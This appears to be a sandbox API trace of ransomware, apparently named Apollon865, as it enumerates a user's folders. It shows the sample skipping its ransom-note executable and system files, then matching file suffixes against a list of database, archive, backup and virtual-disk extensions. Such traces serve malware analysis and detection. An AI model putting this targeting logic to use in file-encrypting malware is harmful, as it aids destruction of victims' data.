	[0086.075] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 39
	[0086.075] lstrcpyW (in: lpString1=0x119e644, lpString2="Downloads" | out: lpString1="Downloads") returned="Downloads"
	[0086.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0086.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcac0
	[0086.075] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b79b0 | out: ListHead=0x5b75f0, ListEntry=0x5b79b0) returned 0x5b7a90
	[0086.075] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0086.075] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.075] lstrcmpiW (lpString1="Favorites", lpString2="Apollon865.txt.exe") returned 1
	[0086.075] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1
	[0086.075] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1
	[0086.076] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1
	[0086.076] lstrlenW (lpString="Favorites") returned 9
	[0086.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned 39
	[0086.076] lstrcpyW (in: lpString1=0x119e644, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites"
	[0086.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0086.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb70
	[0086.076] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b79b0
	[0086.076] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x300eee10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x300eee10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0086.076] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0086.076] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x303e8990, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="Apollon865.txt.exe") returned 1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2=".") returned 1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="..") returned 1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="windows") returned -1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="bootmgr") returned 1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="temp") returned -1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="pagefile.sys") returned -1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="boot") returned 1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="ids.txt") returned 1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="ntuser.dat") returned -1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="perflogs") returned -1
	[0086.076] lstrcmpiW (lpString1="Links", lpString2="MSBuild") returned -1
	[0086.076] lstrlenW (lpString="Links") returned 5
	[0086.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned 39
	[0086.076] lstrcpyW (in: lpString1=0x119e644, lpString2="Links" | out: lpString1="Links") returned="Links"
	[0086.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0086.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdca8
	[0086.077] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7950 | out: ListHead=0x5b75f0, ListEntry=0x5b7950) returned 0x5b7c30
	[0086.077] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="Apollon865.txt.exe") returned 1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2=".") returned 1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="..") returned 1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="windows") returned -1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="bootmgr") returned 1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="temp") returned -1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="pagefile.sys") returned -1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="boot") returned 1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="ids.txt") returned 1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="ntuser.dat") returned -1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="perflogs") returned -1
	[0086.077] lstrcmpiW (lpString1="Local Settings", lpString2="MSBuild") returned -1
	[0086.077] lstrlenW (lpString="Local Settings") returned 14
	[0086.077] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned 35
	[0086.077] lstrcpyW (in: lpString1=0x119e644, lpString2="Local Settings" | out: lpString1="Local Settings") returned="Local Settings"
	[0086.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0086.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5458
	[0086.077] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0086.077] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x30304150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30304150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="Apollon865.txt.exe") returned 1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2=".") returned 1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="..") returned 1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="windows") returned -1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="bootmgr") returned 1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="temp") returned -1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="pagefile.sys") returned -1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="boot") returned 1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="ids.txt") returned 1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="ntuser.dat") returned -1
	[0086.077] lstrcmpiW (lpString1="Music", lpString2="perflogs") returned -1
	[0086.078] lstrcmpiW (lpString1="Music", lpString2="MSBuild") returned 1
	[0086.078] lstrlenW (lpString="Music") returned 5
	[0086.078] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned 44
	[0086.078] lstrcpyW (in: lpString1=0x119e644, lpString2="Music" | out: lpString1="Music") returned="Music"
	[0086.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0086.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdf78
	[0086.078] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7970
	[0086.078] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="Apollon865.txt.exe") returned 1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2=".") returned 1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="..") returned 1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="windows") returned -1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="bootmgr") returned 1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="temp") returned -1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="pagefile.sys") returned -1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="boot") returned 1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="ids.txt") returned 1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="ntuser.dat") returned -1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="perflogs") returned -1
	[0086.078] lstrcmpiW (lpString1="My Documents", lpString2="MSBuild") returned 1
	[0086.078] lstrlenW (lpString="My Documents") returned 12
	[0086.078] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 35
	[0086.078] lstrcpyW (in: lpString1=0x119e644, lpString2="My Documents" | out: lpString1="My Documents") returned="My Documents"
	[0086.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0086.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0086.078] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7ad0 | out: ListHead=0x5b75f0, ListEntry=0x5b7ad0) returned 0x5b7b70
	[0086.078] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
	[0086.078] lstrcmpiW (lpString1="NetHood", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.078] lstrcmpiW (lpString1="NetHood", lpString2="Apollon865.txt.exe") returned 1
	[0086.078] lstrcmpiW (lpString1="NetHood", lpString2=".") returned 1
	[0086.078] lstrcmpiW (lpString1="NetHood", lpString2="..") returned 1
	[0086.078] lstrcmpiW (lpString1="NetHood", lpString2="windows") returned -1
	[0086.078] lstrcmpiW (lpString1="NetHood", lpString2="bootmgr") returned 1
	[0086.078] lstrcmpiW (lpString1="NetHood", lpString2="temp") returned -1
	[0086.078] lstrcmpiW (lpString1="NetHood", lpString2="pagefile.sys") returned -1
	[0086.079] lstrcmpiW (lpString1="NetHood", lpString2="boot") returned 1
	[0086.079] lstrcmpiW (lpString1="NetHood", lpString2="ids.txt") returned 1
	[0086.079] lstrcmpiW (lpString1="NetHood", lpString2="ntuser.dat") returned -1
	[0086.079] lstrcmpiW (lpString1="NetHood", lpString2="perflogs") returned -1
	[0086.079] lstrcmpiW (lpString1="NetHood", lpString2="MSBuild") returned 1
	[0086.079] lstrlenW (lpString="NetHood") returned 7
	[0086.079] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents") returned 42
	[0086.079] lstrcpyW (in: lpString1=0x119e644, lpString2="NetHood" | out: lpString1="NetHood") returned="NetHood"
	[0086.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0086.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bcbc8
	[0086.079] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7a50 | out: ListHead=0x5b75f0, ListEntry=0x5b7a50) returned 0x5b7ad0
	[0086.079] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="Apollon865.txt.exe") returned 1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2=".") returned 1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="..") returned 1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="windows") returned -1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="bootmgr") returned 1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="temp") returned -1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="pagefile.sys") returned -1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="boot") returned 1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ids.txt") returned 1
	[0086.079] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ntuser.dat") returned 0
	[0086.079] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="Apollon865.txt.exe") returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="windows") returned -1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="bootmgr") returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="temp") returned -1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="pagefile.sys") returned -1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="boot") returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="ids.txt") returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="ntuser.dat") returned 1
	[0086.079] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="perflogs") returned -1
	[0086.080] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="MSBuild") returned 1
	[0086.080] lstrlenW (lpString="ntuser.dat.LOG1") returned 15
	[0086.080] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood") returned 37
	[0086.080] lstrcpyW (in: lpString1=0x119e644, lpString2="ntuser.dat.LOG1" | out: lpString1="ntuser.dat.LOG1") returned="ntuser.dat.LOG1"
	[0086.080] lstrlenW (lpString="ntuser.dat.LOG1") returned 15
	[0086.080] lstrlenW (lpString="Apollon865") returned 10
	[0086.080] lstrcmpiW (lpString1="r.dat.LOG1", lpString2="Apollon865") returned 1
	[0086.080] lstrlenW (lpString=".dll") returned 4
	[0086.080] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".dll") returned 1
	[0086.080] lstrlenW (lpString=".lnk") returned 4
	[0086.080] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".lnk") returned 1
	[0086.080] lstrlenW (lpString=".ini") returned 4
	[0086.080] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".ini") returned 1
	[0086.080] lstrlenW (lpString=".sys") returned 4
	[0086.080] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2=".sys") returned 1
	[0086.080] lstrlenW (lpString="ntuser.dat.LOG1") returned 15
	[0086.080] lstrlenW (lpString="bak") returned 3
	[0086.080] lstrcmpiW (lpString1="OG1", lpString2="bak") returned 1
	[0086.080] lstrlenW (lpString="ba_") returned 3
	[0086.080] lstrcmpiW (lpString1="OG1", lpString2="ba_") returned 1
	[0086.080] lstrlenW (lpString="dbb") returned 3
	[0086.080] lstrcmpiW (lpString1="OG1", lpString2="dbb") returned 1
	[0086.080] lstrlenW (lpString="vmdk") returned 4
	[0086.080] lstrcmpiW (lpString1="LOG1", lpString2="vmdk") returned -1
	[0086.080] lstrlenW (lpString="rar") returned 3
	[0086.080] lstrcmpiW (lpString1="OG1", lpString2="rar") returned -1
	[0086.080] lstrlenW (lpString="zip") returned 3
	[0086.080] lstrcmpiW (lpString1="OG1", lpString2="zip") returned -1
	[0086.080] lstrlenW (lpString="tgz") returned 3
	[0086.080] lstrcmpiW (lpString1="OG1", lpString2="tgz") returned -1
	[0086.080] lstrlenW (lpString="vbox") returned 4
	[0086.080] lstrcmpiW (lpString1="LOG1", lpString2="vbox") returned -1
	[0086.080] lstrlenW (lpString="vdi") returned 3
	[0086.080] lstrcmpiW (lpString1="OG1", lpString2="vdi") returned -1
	[0086.080] lstrlenW (lpString="vhd") returned 3
	[0086.080] lstrcmpiW (lpString1="OG1", lpString2="vhd") returned -1
	[0086.080] lstrlenW (lpString="vhdx") returned 4
	[0086.080] lstrcmpiW (lpString1="LOG1", lpString2="vhdx") returned -1
	[0086.080] lstrlenW (lpString="avhd") returned 4
	[0086.081] lstrcmpiW (lpString1="LOG1", lpString2="avhd") returned 1
	[0086.081] lstrlenW (lpString="db") returned 2
	[0086.081] lstrcmpiW (lpString1="G1", lpString2="db") returned 1
	[0086.081] lstrlenW (lpString="db2") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="db2") returned 1
	[0086.081] lstrlenW (lpString="db3") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="db3") returned 1
	[0086.081] lstrlenW (lpString="dbf") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="dbf") returned 1
	[0086.081] lstrlenW (lpString="mdf") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="mdf") returned 1
	[0086.081] lstrlenW (lpString="mdb") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="mdb") returned 1
	[0086.081] lstrlenW (lpString="sql") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="sql") returned -1
	[0086.081] lstrlenW (lpString="sqlite") returned 6
	[0086.081] lstrcmpiW (lpString1="t.LOG1", lpString2="sqlite") returned 1
	[0086.081] lstrlenW (lpString="sqlite3") returned 7
	[0086.081] lstrcmpiW (lpString1="at.LOG1", lpString2="sqlite3") returned -1
	[0086.081] lstrlenW (lpString="sqlitedb") returned 8
	[0086.081] lstrcmpiW (lpString1="dat.LOG1", lpString2="sqlitedb") returned -1
	[0086.081] lstrlenW (lpString="xml") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="xml") returned -1
	[0086.081] lstrlenW (lpString="$er") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="$er") returned 1
	[0086.081] lstrlenW (lpString="4dd") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="4dd") returned 1
	[0086.081] lstrlenW (lpString="4dl") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="4dl") returned 1
	[0086.081] lstrlenW (lpString="^^^") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="^^^") returned 1
	[0086.081] lstrlenW (lpString="abs") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="abs") returned 1
	[0086.081] lstrlenW (lpString="abx") returned 3
	[0086.081] lstrcmpiW (lpString1="OG1", lpString2="abx") returned 1
	[0086.081] lstrlenW (lpString="accdb") returned 5
	[0086.082] lstrcmpiW (lpString1=".LOG1", lpString2="accdb") returned -1
	[0086.082] lstrlenW (lpString="accdc") returned 5
	[0086.082] lstrcmpiW (lpString1=".LOG1", lpString2="accdc") returned -1
	[0086.082] lstrlenW (lpString="accde") returned 5
	[0086.082] lstrcmpiW (lpString1=".LOG1", lpString2="accde") returned -1
	[0086.082] lstrlenW (lpString="accdr") returned 5
	[0086.082] lstrcmpiW (lpString1=".LOG1", lpString2="accdr") returned -1
	[0086.082] lstrlenW (lpString="accdt") returned 5
	[0086.082] lstrcmpiW (lpString1=".LOG1", lpString2="accdt") returned -1
	[0086.082] lstrlenW (lpString="accdw") returned 5
	[0086.082] lstrcmpiW (lpString1=".LOG1", lpString2="accdw") returned -1
	[0086.082] lstrlenW (lpString="accft") returned 5
	[0086.082] lstrcmpiW (lpString1=".LOG1", lpString2="accft") returned -1
	[0086.082] lstrlenW (lpString="adb") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1
	[0086.082] lstrlenW (lpString="adb") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="adb") returned 1
	[0086.082] lstrlenW (lpString="ade") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="ade") returned 1
	[0086.082] lstrlenW (lpString="adf") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="adf") returned 1
	[0086.082] lstrlenW (lpString="adn") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="adn") returned 1
	[0086.082] lstrlenW (lpString="adp") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="adp") returned 1
	[0086.082] lstrlenW (lpString="alf") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="alf") returned 1
	[0086.082] lstrlenW (lpString="ask") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="ask") returned 1
	[0086.082] lstrlenW (lpString="btr") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="btr") returned 1
	[0086.082] lstrlenW (lpString="cat") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="cat") returned 1
	[0086.082] lstrlenW (lpString="cdb") returned 3
	[0086.082] lstrcmpiW (lpString1="OG1", lpString2="cdb") returned 1
	[0086.083] lstrlenW (lpString="ckp") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="ckp") returned 1
	[0086.083] lstrlenW (lpString="cma") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="cma") returned 1
	[0086.083] lstrlenW (lpString="cpd") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="cpd") returned 1
	[0086.083] lstrlenW (lpString="dacpac") returned 6
	[0086.083] lstrcmpiW (lpString1="t.LOG1", lpString2="dacpac") returned 1
	[0086.083] lstrlenW (lpString="dad") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dad") returned 1
	[0086.083] lstrlenW (lpString="dadiagrams") returned 10
	[0086.083] lstrcmpiW (lpString1="r.dat.LOG1", lpString2="dadiagrams") returned 1
	[0086.083] lstrlenW (lpString="daschema") returned 8
	[0086.083] lstrcmpiW (lpString1="dat.LOG1", lpString2="daschema") returned 1
	[0086.083] lstrlenW (lpString="db-journal") returned 10
	[0086.083] lstrcmpiW (lpString1="r.dat.LOG1", lpString2="db-journal") returned 1
	[0086.083] lstrlenW (lpString="db-shm") returned 6
	[0086.083] lstrcmpiW (lpString1="t.LOG1", lpString2="db-shm") returned 1
	[0086.083] lstrlenW (lpString="db-wal") returned 6
	[0086.083] lstrcmpiW (lpString1="t.LOG1", lpString2="db-wal") returned 1
	[0086.083] lstrlenW (lpString="dbc") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dbc") returned 1
	[0086.083] lstrlenW (lpString="dbs") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dbs") returned 1
	[0086.083] lstrlenW (lpString="dbt") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dbt") returned 1
	[0086.083] lstrlenW (lpString="dbv") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dbv") returned 1
	[0086.083] lstrlenW (lpString="dbx") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dbx") returned 1
	[0086.083] lstrlenW (lpString="dcb") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dcb") returned 1
	[0086.083] lstrlenW (lpString="dct") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dct") returned 1
	[0086.083] lstrlenW (lpString="dcx") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="dcx") returned 1
	[0086.083] lstrlenW (lpString="ddl") returned 3
	[0086.083] lstrcmpiW (lpString1="OG1", lpString2="ddl") returned 1
	[0086.084] lstrlenW (lpString="dlis") returned 4
	[0086.084] lstrcmpiW (lpString1="LOG1", lpString2="dlis") returned 1
	[0086.084] lstrlenW (lpString="dp1") returned 3
	[0086.084] lstrcmpiW (lpString1="OG1", lpString2="dp1") returned 1
